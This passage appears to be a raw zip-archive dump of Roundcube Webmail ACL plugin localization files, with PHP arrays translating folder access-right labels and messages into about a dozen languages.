$messages['deleteconfirm'] = 'Er du sikker på at du vil fjerne tilgangen til  valde brukarar?';
$messages['norights'] = 'Ingen rettar er spesifisert!';
$messages['nouser'] = 'Brukarnamn er ikkje spesifisert!';
PKh�\������ plugins/acl/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Compartición';
$labels['myrights'] = 'Drechos d\'accesu';
$labels['username'] = 'Usuariu:';
$labels['advanced'] = 'Mou avanzáu';
$labels['add'] = 'Amestar';
$labels['newuser'] = 'Amestar entrada';
$labels['editperms'] = 'Editar permisos';
$labels['actions'] = 'Aición de drechos d\'accesu...';
$labels['anyone'] = 'Tolos usuarios (toos)';
$labels['anonymous'] = 'Convidaos (anónimos)';
$labels['identifier'] = 'Identificador';
$labels['acll'] = 'Guetar';
$labels['aclr'] = 'Lleer mensaxes';
$labels['acls'] = 'Estáu Caltener Vistu';
$labels['aclw'] = 'Escribir banderes';
$labels['acli'] = 'Inxertar (copiar a)';
$labels['aclc'] = 'Crear subcarpetes';
$labels['aclk'] = 'Crear subcarpetes';
$labels['acld'] = 'Desaniciar mensaxes';
$labels['aclt'] = 'Desaniciar mensaxes';
$labels['acle'] = 'Desanciar';
$labels['aclx'] = 'Desaniciar carpeta';
$labels['acla'] = 'Alministrar';
$labels['aclfull'] = 'Control total';
$labels['aclother'] = 'Otru';
$labels['aclread'] = 'Lleer';
$labels['aclwrite'] = 'Escribir';
$labels['acldelete'] = 'Desaniciar';
$labels['shortacll'] = 'Guetar';
$labels['shortaclr'] = 'Lleer';
$labels['shortacls'] = 'Caltener';
$labels['shortaclw'] = 'Escribir';
$labels['shortacli'] = 'Inxertar';
$labels['shortaclc'] = 'Crear';
$labels['shortaclk'] = 'Crear';
$labels['shortacld'] = 'Desaniciar';
$labels['shortaclt'] = 'Desaniciar';
$labels['shortacle'] = 'Desaniciar';
$labels['shortaclx'] = 'Desaniciu de carpeta';
$labels['shortacla'] = 'Alministrar';
$labels['shortaclother'] = 'Otru';
$labels['shortaclread'] = 'Lleer';
$labels['shortaclwrite'] = 'Escribir';
$labels['shortacldelete'] = 'Desaniciar';
$labels['longacll'] = 'La carpeta ye visible nes llistes y pue soscribise a';
$labels['longaclr'] = 'La carpeta nun pue abrise pa leer';
$labels['longaclx'] = 'La carpeta pue desaniciase o renomase';
$labels['longacla'] = 'Puen camudase los drechos d\'accesu de la carpeta';
$labels['longaclfull'] = 'Control completu incluyendo l\'alminitración de carpeta';
$labels['longaclread'] = 'La carpeta pue abrise pa llectura';
$labels['longaclwrite'] = 'Los mensaxes puen conseñase, escribise o copiase a la carpeta';
$labels['longacldelete'] = 'Los mensaxes puen desaniciase';
$labels['longaclother'] = 'Otros drechos d\'accesu';
$labels['ariasummaryacltable'] = 'Llista de drechos d\'accesu';
$messages['deleting'] = 'Desaniciando los drechos d\'accesu...';
$messages['saving'] = 'Guardando los drechos d\'accesu...';
$messages['updatesuccess'] = 'Camudaos con ésitu los drechos d\'accesu';
$messages['deletesuccess'] = 'Desaniciaos con ésitu los drechos d\'accesu';
$messages['createsuccess'] = 'Amestaos con ésitu los drechos d\'accesu';
$messages['updateerror'] = 'Nun puen anovase los drechos d\'accesu';
$messages['deleteerror'] = 'Nun puen desaniciase los drechos d\'accesu';
$messages['createerror'] = 'Nun puen amestase los drechos d\'accesu';
$messages['deleteconfirm'] = '¿De xuru quies desaniciar los drechos d\'accesu al(a los) usuariu(os) esbilláu(os)?';
PKh�\�@��� plugins/acl/localization/kab.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Beṭṭu';
$labels['myrights'] = 'Izerfan n unekcum';
$labels['username'] = 'Aseqdac:';
$labels['advanced'] = 'Askar leqqayen';
$labels['newuser'] = 'Rnu anekcam';
$labels['editperms'] = 'Ẓreg tisirag';
$labels['actions'] = 'Tigawin n izerfan n unekcum...';
$labels['anyone'] = 'Akk iseqdacen (yal yiwen)';
$labels['anonymous'] = 'Inebgawen (udrigen)';
$labels['identifier'] = 'Sulu';
$labels['acll'] = 'Nadi';
$labels['aclr'] = 'Ɣer iznan';
$labels['aclp'] = 'Aru izen';
$labels['aclc'] = 'Rnu ikaramen isnawanen';
$labels['aclk'] = 'Rnu ikaramen isnawanen';
$labels['acld'] = 'Kkes iznan';
$labels['aclt'] = 'Ɣer iznan';
$labels['acle'] = 'Sfeḍ';
$labels['aclx'] = 'Kkes akaram';
$labels['acla'] = 'Sefrek';
$labels['acln'] = 'Rnu tizmilin i yiznan';
$labels['aclother'] = 'Ayen-nniḍen';
$labels['aclread'] = 'Ɣeṛ';
$labels['aclwrite'] = 'Aru';
$labels['acldelete'] = 'Kkes';
$labels['shortacll'] = 'Nadi';
$labels['shortaclr'] = 'Ɣeṛ';
$labels['shortaclw'] = 'Aru';
$labels['shortaclp'] = 'Aru izen';
$labels['shortaclc'] = 'Rnu';
$labels['shortaclk'] = 'Rnu';
$labels['shortacld'] = 'Kkes';
$labels['shortaclt'] = 'Kkes';
$labels['shortacle'] = 'Sfeḍ';
$labels['shortacla'] = 'Sefrek';
$labels['shortacln'] = 'Rnu tazmilt';
$labels['shortaclother'] = 'Ayen-nniḍen';
$labels['shortaclread'] = 'Ɣeṛ';
$labels['shortaclwrite'] = 'Aru';
$labels['shortacldelete'] = 'Kkes';
$messages['deleting'] = 'Kkes akk izerfan n unekcum...';
PKh�\� GO
O
"plugins/acl/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Дељење';
$labels['myrights'] = 'Права приступа';
$labels['username'] = 'Корисник:';
$labels['advanced'] = 'Напредни режим';
$labels['add'] = 'Додај';
$labels['newuser'] = 'Додај унос';
$labels['editperms'] = 'Уреди дозволе';
$labels['actions'] = 'Радње права приступа...';
$labels['anyone'] = 'Сви корисници (било ко)';
$labels['anonymous'] = 'Гости (анонимно)';
$labels['identifier'] = 'Идентификатор';
$labels['acll'] = 'Потражи';
$labels['aclr'] = 'Прочитане поруке';
$labels['acls'] = 'Очувај стање прегледаности';
$labels['acli'] = 'Убаци (копирај у)';
$labels['aclc'] = 'Направи потфасцикле';
$labels['aclk'] = 'Направи потфасцикле';
$labels['acld'] = 'Обриши поруке';
$labels['aclt'] = 'Обриши поруке';
$labels['aclx'] = 'Обриши фасциклу';
$labels['acla'] = 'Администрирај';
$labels['aclfull'] = 'Пуна контрола';
$labels['aclother'] = 'Друго';
$labels['aclread'] = 'Читање';
$labels['aclwrite'] = 'Упис';
$labels['acldelete'] = 'Обриши';
$labels['shortacll'] = 'Потражи';
$labels['shortaclr'] = 'Прочитана';
$labels['shortacls'] = 'Задржи';
$labels['shortaclw'] = 'Пиши';
$labels['shortacli'] = 'Убаци';
$labels['shortaclc'] = 'Направи';
$labels['shortaclk'] = 'Направи';
$labels['shortacld'] = 'Обриши';
$labels['shortaclt'] = 'Обриши';
$labels['shortacla'] = 'Администрирај';
$labels['shortaclother'] = 'Друго';
$labels['shortaclread'] = 'Читање';
$labels['shortaclwrite'] = 'Упис';
$labels['shortacldelete'] = 'Брисање';
PKh�\$���
�
"plugins/acl/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Deelen';
$labels['myrights'] = 'Zougrëffsrechter';
$labels['username'] = 'Benotzer:';
$labels['advanced'] = 'Avancéierte Modus';
$labels['add'] = 'Dobäisetzen';
$labels['newuser'] = 'Element dobäisetzen';
$labels['editperms'] = 'Zougrëffsrechter beaarbechten';
$labels['actions'] = 'Optioune fir d\'Zougrëffsrechter';
$labels['anyone'] = 'All d\'Benotzer (jiddwereen)';
$labels['anonymous'] = 'Gaascht (anonym)';
$labels['identifier'] = 'Identifiant';
$labels['acll'] = 'Noschloen';
$labels['aclr'] = 'Messagë liesen';
$labels['acls'] = 'Lies-Status behalen';
$labels['aclp'] = 'Schécken';
$labels['aclc'] = 'Ënnerdossieren erstellen';
$labels['aclk'] = 'Ënnerdossieren erstellen';
$labels['acld'] = 'Messagë läschen';
$labels['aclt'] = 'Messagë läschen';
$labels['acle'] = 'Ausläschen';
$labels['aclx'] = 'Dossier läschen';
$labels['acla'] = 'Administréieren';
$labels['aclfull'] = 'Voll Kontroll';
$labels['aclother'] = 'Aner';
$labels['aclread'] = 'Liesen';
$labels['aclwrite'] = 'Schreiwen';
$labels['acldelete'] = 'Läschen';
$labels['shortacll'] = 'Noschloen';
$labels['shortaclr'] = 'Liesen';
$labels['shortacls'] = 'Halen';
$labels['shortaclw'] = 'Schreiwen';
$labels['shortacli'] = 'Drasetze';
$labels['shortaclp'] = 'Schécken';
$labels['shortaclc'] = 'Erstellen';
$labels['shortaclk'] = 'Erstellen';
$labels['shortacld'] = 'Läschen';
$labels['shortaclt'] = 'Läschen';
$labels['shortacle'] = 'Ausläschen';
$labels['shortaclx'] = 'Dossier läschen';
$labels['shortacla'] = 'Administréieren';
$labels['shortacln'] = 'Kommentéieren';
$labels['shortaclother'] = 'Aner';
$labels['shortaclread'] = 'Liesen';
$labels['shortaclwrite'] = 'Schreiwen';
$labels['shortacldelete'] = 'Läschen';
$labels['longacldelete'] = 'Messagë kënne geläscht ginn';
$labels['longaclother'] = 'Aner Zougrëffsrechter';
$labels['ariasummaryacltable'] = 'Lëscht vun Zougrëffsrechter';
$messages['deleting'] = 'Zougrëffsrechter gi geläscht...';
$messages['saving'] = 'Zougrëffsrechter gi gespäichert...';
$messages['updatesuccess'] = 'Rechter erfollegräich geännert';
$messages['deletesuccess'] = 'Rechter erfollegräich geläscht';
$messages['createsuccess'] = 'Rechter erfollegräich dobäigesat';
$messages['updateerror'] = 'D\'Zougrëffsrechter kënnen net aktualiséiert ginn';
$messages['deleteerror'] = 'Rechter kënnen net geläscht ginn';
$messages['createerror'] = 'Zougrëffsrechter kënnen net dobäigesat ginn';
$messages['deleteconfirm'] = 'Bass du dir sécher, dass du d\'Zougrëffsrechter fir déi ausgewielte Benotzer wëlls ewechhuelen?';
$messages['norights'] = 'Et goufe keng Rechter uginn! ';
$messages['nouser'] = 'Et gouf kee Benotzernumm uginn!';
PKh�\1V��=="plugins/acl/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'اشتراک گذاری';
$labels['username'] = 'کاربر:';
$labels['add'] = 'افزودن';
$labels['newuser'] = 'افزودن مدخل';
$labels['aclw'] = 'نوشتن نشانه ها';
$labels['aclp'] = 'ارسال';
$labels['acla'] = 'مدیر';
$labels['aclfull'] = 'کنترل کامل';
$labels['aclother'] = 'دیگر';
$labels['aclread'] = 'خواندن';
$labels['acldelete'] = 'حذف';
$labels['shortaclr'] = 'خواندن';
$labels['shortaclp'] = 'ارسال';
$labels['shortaclc'] = 'ایجاد کردن';
$labels['shortaclk'] = 'ایجاد کردن';
$labels['shortacld'] = 'حذف';
$labels['shortaclt'] = 'حذف';
$labels['shortacla'] = 'مدیر';
$labels['shortaclother'] = 'دیگر';
$labels['shortaclread'] = 'خواندن';
$labels['shortacldelete'] = 'حذف';
PKh�\Vn�0HHplugins/acl/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Rannañ';
$labels['myrights'] = 'Aotreoù mont e-barzh';
$labels['username'] = 'Implijer:';
$labels['advanced'] = 'Mod kempleshoc\'h';
$labels['add'] = 'Ouzhpennañ';
$labels['newuser'] = 'Ouzhpennañ un elfenn';
$labels['editperms'] = 'Embann an aotreoù';
$labels['actions'] = 'Aotreoù mont e-barzh';
$labels['anyone'] = 'An holl implijerien (neb hini)';
$labels['anonymous'] = 'Kouvidi (dizanv)';
$labels['identifier'] = 'Naoudi';
$labels['acll'] = 'Taol sell';
$labels['aclr'] = 'Kemennadennoù lennet';
$labels['acls'] = 'Derc\'hel ar stad "Gwelet"';
$labels['aclw'] = 'Bannieloù skrivañ';
$labels['acli'] = 'Enlakaat (Eilañ an digoradur)';
$labels['aclp'] = 'Postañ';
$labels['aclc'] = 'Krouiñ isteuliadoù';
$labels['aclk'] = 'Krouiñ isteuliadoù';
$labels['acld'] = 'Dilemel kemennadennoù';
$labels['aclt'] = 'Dilemel kemennadennoù';
$labels['acle'] = 'Skarzhañ';
$labels['aclx'] = 'Dilemel an teuliad';
$labels['acla'] = 'Ardeiñ';
$labels['acln'] = 'Notennaouiñ kemennadennoù';
$labels['aclfull'] = 'Reoliadur a-bezh';
$labels['aclother'] = 'All';
$labels['aclread'] = 'Lenn';
$labels['aclwrite'] = 'Skrivañ';
$labels['acldelete'] = 'Dilemel';
$labels['shortacll'] = 'Teurel ur sell';
$labels['shortaclr'] = 'Lenn';
$labels['shortacls'] = 'Derc\'hel';
$labels['shortaclw'] = 'Skrivañ';
$labels['shortacli'] = 'Enlakaat';
$labels['shortaclp'] = 'Postañ';
$labels['shortaclc'] = 'Krouiñ';
$labels['shortaclk'] = 'Krouiñ';
$labels['shortacld'] = 'Dilemel';
$labels['shortaclt'] = 'Dilemel';
$labels['shortacle'] = 'Skarzhañ';
$labels['shortaclx'] = 'Dilemel an teuliad';
$labels['shortacla'] = 'Ardeiñ';
$labels['shortacln'] = 'Notennaouiñ';
$labels['shortaclother'] = 'Traoù all';
$labels['shortaclread'] = 'Lenn';
$labels['shortaclwrite'] = 'Skrivañ';
$labels['shortacldelete'] = 'Dilemel';
$labels['longacll'] = 'Gwelus eo an teuliad-se er rolloù ha gallout a reer bezañ koumanantet dezhañ';
$labels['longaclr'] = 'Gallout a reer digeriñ an teuliad-mañ evit e lenn';
$labels['longacls'] = 'Gallout a reer kemmañ ar bannieloù "Kemennadenn gwelet"';
$labels['longaclw'] = 'Gallout a reer kemmañ an bannieloù kemennadennoù hag ar gerioù-alc\'hwez, war-bouez "Gwelet" ha "Dilamet"';
$labels['longacli'] = 'Gallout a ra ar c\'hemennadennoù bezañ skrivet be eilet en teuliad';
$labels['longaclp'] = 'Gallout a reer postañ kemennadennoù d\'an teuliad-mañ';
$labels['longaclc'] = 'Gallout a reer krouiñ (pe adenvel) teuliadoù en teuliad war-eeun';
$labels['longaclk'] = 'Gallout a reer krouiñ (pe adenvel) teuliadoù en teuliad war-eeun';
$labels['longacld'] = 'Gallout a reer kemmañ ar banniel ""Kemennadenn dilamet"';
$labels['longaclt'] = 'Gallout a reer kemmañ ar banniel ""Kemennadenn dilamet"';
$labels['longacle'] = 'Gallout a reer skarzhañ ar c\'hemennadennoù';
$labels['longaclx'] = 'Gallout a ra bezañ dilamet pe adanvet an teuliad';
$labels['longacla'] = 'Gallout a reer kemmañ aotreoù haeziñ an teuliad';
$labels['longacln'] = 'Metaroadennoù rannet (notennoù) ar c\'hemennadennoù a c\'hell bezañ kemmet';
$labels['longaclfull'] = 'Reoliadur a-bezh, ardeiñ an teuliad en o zouez';
$labels['longaclread'] = 'Gallout a reer digeriñ an teuliad evit e lenn';
$labels['longaclwrite'] = 'Gallout a reer merkañ, skrivañ pe eilañ kemennadennoù d\'an teuliad';
$labels['longacldelete'] = 'Gallout a reer dilemel ar c\'hemennadennoù';
$labels['longaclother'] = 'Aotreoù haeziñ all';
$labels['ariasummaryacltable'] = 'Roll an aotreoù haeziñ';
$labels['arialabelaclactions'] = 'Roll ar gweredoù';
$labels['arialabelaclform'] = 'Aotreoù haeziñ a-berzh';
$messages['deleting'] = 'O tilemel an aotreoù haeziñ...';
$messages['saving'] = 'Oc\'h enrollañ an aotreoù haeziñ...';
$messages['updatesuccess'] = 'Kemmet an aotreoù haeziñ gant berzh';
$messages['deletesuccess'] = 'Dilamet an aotreoù haeziñ gant berzh';
$messages['createsuccess'] = 'Ouzhpennet an aotreoù haeziñ gant berzh';
$messages['updateerror'] = 'N\'haller ket hizivaat an aotreoù haeziñ';
$messages['deleteerror'] = 'N\'haller ket dilemel an aotreoù haeziñ';
$messages['createerror'] = 'N\'haller ket ouzhpennañ aotreoù haeziñ';
$messages['deleteconfirm'] = 'Sur oc\'h e fell deoc\'h dilemel aotreoù haeziñ an arveriaded diuzet?';
$messages['norights'] = 'Aotre ebet erspizet!';
$messages['nouser'] = 'Anv arveriad ebet erspizet!';
PKh�\�ͬ22"plugins/acl/localization/ka_GE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['add'] = 'დამატება';
$labels['aclother'] = 'სხვა';
$labels['aclread'] = 'წაკითხვა';
$labels['acldelete'] = 'წაშლა';
$labels['shortaclr'] = 'წაკითხვა';
$labels['shortaclc'] = 'შექმნა';
$labels['shortaclk'] = 'შექმნა';
$labels['shortacld'] = 'წაშლა';
$labels['shortaclt'] = 'წაშლა';
$labels['shortaclother'] = 'სხვა';
$labels['shortaclread'] = 'წაკითხვა';
$labels['shortacldelete'] = 'წაშლა';
PKh�\&�7�!!"plugins/acl/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Сподели';
$labels['myrights'] = 'Право на пристап';
$labels['username'] = 'Корисник';
$labels['advanced'] = 'Напредно ниво';
$labels['add'] = 'Додај';
$labels['newuser'] = 'Додади запис';
$labels['editperms'] = 'Уреди одобрение';
$labels['actions'] = 'Правото на пристапување';
$labels['anyone'] = 'Сите корисници (секој)';
$labels['anonymous'] = 'Гости (анонимен)';
$labels['identifier'] = 'Идентификатор';
$labels['acll'] = 'Пронајди';
$labels['aclr'] = 'Прочитај пораките';
$labels['acls'] = 'Задржи статус прегледано';
$labels['aclw'] = 'Напиши знамиња';
$labels['acli'] = 'Вметни (копирај)';
$labels['aclp'] = 'Објави';
$labels['aclc'] = 'Создај подпапка';
$labels['aclk'] = 'Креирај подпапка';
$labels['acld'] = 'Избриши пораки ';
$labels['aclt'] = 'Избриши пораки';
$labels['acle'] = 'Испразни ';
$labels['aclx'] = 'Избриши папка ';
$labels['acla'] = 'Управувај ';
$labels['acln'] = 'Коментирај пораки ';
$labels['aclfull'] = 'Целосна контрола ';
$labels['aclother'] = 'Друго ';
$labels['aclread'] = 'Читај ';
$labels['aclwrite'] = 'Пишувај ';
$labels['acldelete'] = 'Бришај ';
$labels['shortacll'] = 'Пребарувај ';
$labels['shortaclr'] = 'Чита';
$labels['shortacls'] = 'Задржи';
$labels['shortaclw'] = 'Пишивај';
$labels['shortacli'] = 'Внеси ';
$labels['shortaclp'] = 'Постирај';
$labels['shortaclc'] = 'Креирај ';
$labels['shortaclk'] = 'Создај';
$labels['shortacld'] = 'Избриши ';
$labels['shortaclt'] = 'Избриши';
$labels['shortacle'] = 'Избриши трајно ';
$labels['shortaclx'] = 'Бришај папка ';
$labels['shortacla'] = 'Управувај ';
$labels['shortacln'] = 'Дај коментар ';
$labels['shortaclother'] = 'Друго ';
$labels['shortaclread'] = 'Читај';
$labels['shortaclwrite'] = 'Пичувај';
$labels['shortacldelete'] = 'Избриши';
$labels['longacll'] = 'Папката е видлива на листите и може да се претплати на неа ';
$labels['longaclr'] = 'Папката може да се отвори за читање ';
$labels['longacls'] = 'Знамето за прегледани пораки може да се смени ';
$labels['longaclw'] = 'Знамињата за пораки и клучните зборови може да се сменат, освен прегледани и избришани';
$labels['longacli'] = 'Пораките можат да се впишаат или ископираат во папката ';
$labels['longaclp'] = 'Пораки може да бидат објавени во оваа папка';
$labels['longaclc'] = 'Папките може да се креираат (или преименуваат) директно под оваа папка ';
$labels['longaclk'] = 'Папките може да се креираат (или преименуваат) директно под оваа папка ';
$labels['longacld'] = 'Знамето за избришани пораки може да се смени';
$labels['longaclt'] = 'Знамето за избришани пораки може да се смени';
$labels['longacle'] = 'Пораките може трајно да се избришаат ';
$labels['longaclx'] = 'Папката може да се избрише или преименува ';
$labels['longacla'] = 'Правата за пристап кон папката може да бидат променети ';
$labels['longacln'] = 'Метадата (прибелешки) на споделени пораки може да се промени ';
$labels['longaclfull'] = 'Целосна контрола вклучувајќи и администрација на папка ';
$labels['longaclread'] = 'Папката може да биде отворена за читање ';
$labels['longaclwrite'] = 'Пораките може да бидат штиклирани, запишани или копирани во папката ';
$labels['longacldelete'] = 'Пораките може да бидат избришани ';
$labels['longaclother'] = 'Други правила за пристап ';
$labels['ariasummaryacltable'] = 'Листа од правила за пристап ';
$labels['arialabelaclactions'] = 'Листа на акции ';
$labels['arialabelaclform'] = 'Форма за правила на пристап ';
$messages['deleting'] = 'Бришење на правата за пристап ';
$messages['saving'] = 'Зачувување на правата за пристап ';
$messages['updatesuccess'] = 'Успешно променети правила на пристап ';
$messages['deletesuccess'] = 'Успешно избришани правила на пристап';
$messages['createsuccess'] = 'Успешно додадени правила на пристап';
$messages['updateerror'] = 'Не може да се ажурират правата за пристап';
$messages['deleteerror'] = 'Не може да се избришаат правата за пристап';
$messages['createerror'] = 'Не може да се додадат правата за пристап';
$messages['deleteconfirm'] = 'Дали сте сигурни дека сакате да ги тргнете правата за пристап на избраниот корисник(ци)? ';
$messages['norights'] = 'Нема наведени права! ';
$messages['nouser'] = 'Нема неведено корисничко име! ';
PKh�\zO8��"plugins/acl/localization/kn_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['add'] = 'ಸೇರಿಸು';
$labels['shortaclc'] = 'ರಚಿಸು';
$labels['shortaclk'] = 'ರಚಿಸು';
PKh�\��N
"plugins/acl/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'ការ​ចែក​រំលែក';
$labels['myrights'] = 'សិទ្ធិ​ចូល';
$labels['username'] = 'អ្នក​ប្រើ៖';
$labels['advanced'] = 'បែប​កម្រិត​ខ្ពស់';
$labels['add'] = 'បន្ថែម';
$labels['newuser'] = 'បន្ថែម​ធាតុ';
$labels['actions'] = 'សកម្មភាព​សិទ្ធិ​ចូល...';
$labels['anyone'] = 'អ្នក​ប្រើ​ទាំង​អស់ (នរណា​ម្នាក់)';
$labels['anonymous'] = 'ភ្ញៀវ (អនាមិក)';
$labels['acll'] = 'ស្វែងរក';
$labels['aclr'] = 'អាន​សារ';
$labels['acli'] = 'បញ្ចូល (ចម្លង​មក​ដាក់)';
$labels['aclp'] = 'ប្រកាស';
$labels['aclc'] = 'បង្កើត​ថត​រង';
$labels['aclk'] = 'បង្កើត​ថត​រង';
$labels['acld'] = 'លុប​សារ';
$labels['aclt'] = 'លុប​សារ';
$labels['acle'] = 'ដកចេញ';
$labels['aclx'] = 'លុប​ថត';
$labels['acla'] = 'អភិបាល';
$labels['aclfull'] = 'បញ្ជា​ទាំង​អស់';
$labels['aclother'] = 'ផ្សេងៗ';
$labels['aclread'] = 'អាន';
$labels['aclwrite'] = 'សរសេរ';
$labels['acldelete'] = 'លុប';
$labels['shortacll'] = 'ស្វែងរក';
$labels['shortaclr'] = 'អាន';
$labels['shortacls'] = 'រក្សា';
$labels['shortaclw'] = 'សរសេរ';
$labels['shortacli'] = 'បញ្ចូល';
$labels['shortaclp'] = 'ប្រកាស';
$labels['shortaclc'] = 'បង្កើត';
$labels['shortaclk'] = 'បង្កើត';
$labels['shortacld'] = 'លុប';
$labels['shortaclt'] = 'លុប';
$labels['shortacle'] = 'ដកចេញ';
$labels['shortaclx'] = 'ការ​លុប​ថត';
$labels['shortacla'] = 'អភិបាល';
$labels['shortaclother'] = 'ផ្សេងៗ';
$labels['shortaclread'] = 'អាន';
$labels['shortaclwrite'] = 'សរសេរ';
$labels['shortacldelete'] = 'លុប';
$labels['longaclr'] = 'ថត​នេះ​អាច​បើក​សម្រាប់​អាន';
$labels['longacle'] = 'សារ​នេះ​អាច​ត្រូវ​បាន​ដក​ចេញ';
$labels['longaclx'] = 'ថត​នេះ អាច​ត្រូវ​បាន​លុប ឬ​ ប្ដូរ​ឈ្មោះ';
$labels['longacla'] = 'សិទ្ធិ​ចូល​ទៅ​កាន់​ថត​នេះ​អាច​ត្រូវ​បាន​​ផ្លាស់​ប្ដូរ​';
$labels['longaclread'] = 'ថត​នេះ​អាច​បើក​សម្រាប់​អាន';
$labels['longacldelete'] = 'សារ​នេះ​អាច​ត្រូវ​បាន​លុប';
$messages['deleting'] = 'កំពុង​លុប​សិទ្ធិ​ចូល...';
$messages['saving'] = 'រក្សា​ទុក​សិទ្ធិ​ចូល...';
$messages['deletesuccess'] = 'លុប​សិទ្ធិ​ចូល​ដោយ​ជោគជ័យ​';
$messages['createsuccess'] = 'បន្ថែម​សិទ្ធិ​ចូល​ដោយ​ជោគជ័យ';
$messages['updateerror'] = 'មិន​អាច​ធ្វើ​បច្ចុប្បន្នភាព​សិទ្ធិ​ចូល';
$messages['deleteerror'] = 'មិន​អាច​លុប​សិទ្ធិ​ចូល';
$messages['createerror'] = 'មិន​អាច​បន្ថែម​សិទ្ធិ​ចូល';
$messages['deleteconfirm'] = 'តើ​អ្នក​ពិត​ជា​ចង់​ដក​សិទ្ធ​ចូល​ពី​អ្នក​ប្រើប្រាស់​ដែល​បាន​រើស​មែនទេ?';
$messages['norights'] = 'មិន​បាន​បញ្ជាក់​សិទ្ធិ​ច្បាស់​លាស់!';
$messages['nouser'] = 'មិន​បាន​បញ្ជាក់​ឈ្មោះ​អ្នក​ប្រើ!';
PKh�\Z餐�
�
"plugins/acl/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Хуваалцах';
$labels['myrights'] = 'Нэвтрэлтийн зөвшөөрлүүд';
$labels['username'] = 'Хэрэглэгч:';
$labels['advanced'] = 'Дэлгэрэнгүй горим';
$labels['newuser'] = 'Нэмэх';
$labels['editperms'] = 'Зөвшөөрлүүдийг засах';
$labels['actions'] = 'Нэвтрэлтийн зөвшөөрлийн үйлдлүүд...';
